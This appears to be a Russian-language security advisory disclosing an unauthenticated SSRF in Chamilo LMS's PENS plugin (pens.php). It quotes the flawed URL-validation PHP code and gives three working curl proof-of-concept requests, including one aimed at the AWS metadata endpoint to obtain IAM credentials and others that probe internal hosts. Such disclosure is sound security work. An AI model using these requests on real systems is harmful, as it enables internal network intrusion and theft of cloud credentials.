
Неаутентифицированный SSRF в Chamilo LMS через плагин PENS (pens.php) — CVSS 7.5
Серьёзность: Высокая (CVSS 7.5)
CWE: CWE-918 (Server-Side Request Forgery)
Затронуто: chamilo/chamilo-lms 2.x (коммит af6b7002 и более ранние)
Консультация: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
Конечная точка плагина PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php доступна без аутентификации и принимает управляемые пользователем URL-адреса как для загрузки пакетов, так и для уведомлений обратного вызова. Функции проверки URL проверяют схему и наличие хоста, но не выполняют фильтрацию частных IP-адресов, что позволяет неаутентифицированный SSRF во внутренние сети и облачные сервисы метаданных.
После обнаружения CVE-2026-33715 в install.ajax.php Chamilo, я продолжил аудит кодовой базы на предмет других неаутентифицированных конечных точек с сетевыми побочными эффектами. Плагин PENS (public/plugin/Pens/) выделялся: PENS — это устаревший протокол доставки контента для электронного обучения, который включает получение пакетов с внешних URL-адресов и отправку обратных вызовов на внешние серверы — обе классические поверхности для SSRF.
Я прочитал PensProcessor.php в поисках логики проверки URL. isAllowedDownloadUrl() и isAllowedCallbackUrl() обе проверяют схему (http/https) и непустой хост — и на этом останавливаются. Никакой фильтрации RFC 1918, никакой проверки loopback, никакой проверки link-local. Комментарий даже говорит "returns true" после проверки хоста, что делало очевидным: это было написано без учёта SSRF.
Что отличает это от предыдущего CVE в Chamilo: здесь два независимых вектора SSRF — один для получения пакета (сервер загружает файл с управляемого атакующим URL) и один для обратных вызовов (сервер отправляет POST на управляемые атакующим конечные точки). Вектор обратного вызова особенно полезен для эксфильтрации ответов внутренних сервисов, поскольку сервер отправляет POST с данными статуса PENS на любой указанный вами URL, и вы контролируете разбор ответа.
В облачных развёртываниях конечная точка метаданных 169.254.169.254 доступна через оба вектора.
Файл: public/plugin/Pens/lib/PensProcessor.php
Два отдельных вектора SSRF:
Вектор 1 — Получение URL пакета (строки 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← нет проверки частных IP
}
// Затем загружается через curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Вектор 2 — SSRF через обратный вызов (строка 318): параметры receipt и alerts указывают URL-адреса, на которые сервер отправляет POST-обратные вызовы — та же отсутствующая проверка.
isAllowedDownloadUrl() и isAllowedCallbackUrl() проверяют только то, что URL имеет схему http/https и непустой хост. Частные диапазоны RFC 1918 (10.x, 172.16.x, 192.168.x), loopback (127.x), link-local (169.254.x — облачные метаданные) и эквиваленты IPv6 — всё это принимается.
# Вектор 1: Проверка внутренней сети через package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# Конечная точка метаданных AWS
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Вектор 2: SSRF через обратный вызов — сервер отправляет POST на управляемую атакующим внутреннюю конечную точку
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Примечание: это отличается от CVE-2022-27426 (SSRF в инструментах social/links) — другой путь кода, другой плагин, без аутентификации.